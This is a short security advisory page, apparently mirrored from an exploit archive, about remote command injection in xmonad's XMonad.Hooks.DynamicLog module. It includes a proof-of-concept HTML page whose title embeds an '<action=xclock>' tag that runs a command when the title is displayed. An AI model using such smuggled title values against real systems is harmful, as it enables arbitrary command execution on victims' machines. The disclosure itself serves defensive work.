xmonad XMonad.Hooks.DynamicLog Module – Multiple Remote Command Injection Vulnerabilities - 体验盒子

作者： Joachim Breitner

日期： 2013-07-26

类别：

平台：

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

source: https://www.securityfocus.com/bid/61491/info

XMonad.Hooks.DynamicLog module for xmonad is prone to multiple remote command-injection vulnerabilities.

Successful exploits will result in the execution of arbitrary commands in the context of the affected applications. This may aid in further attacks.

<html>

<head>

<title><action=xclock>An innocent title</action></title>

</head>

<body>

<h1>Good bye, cruel world</h1>

</body>

</html>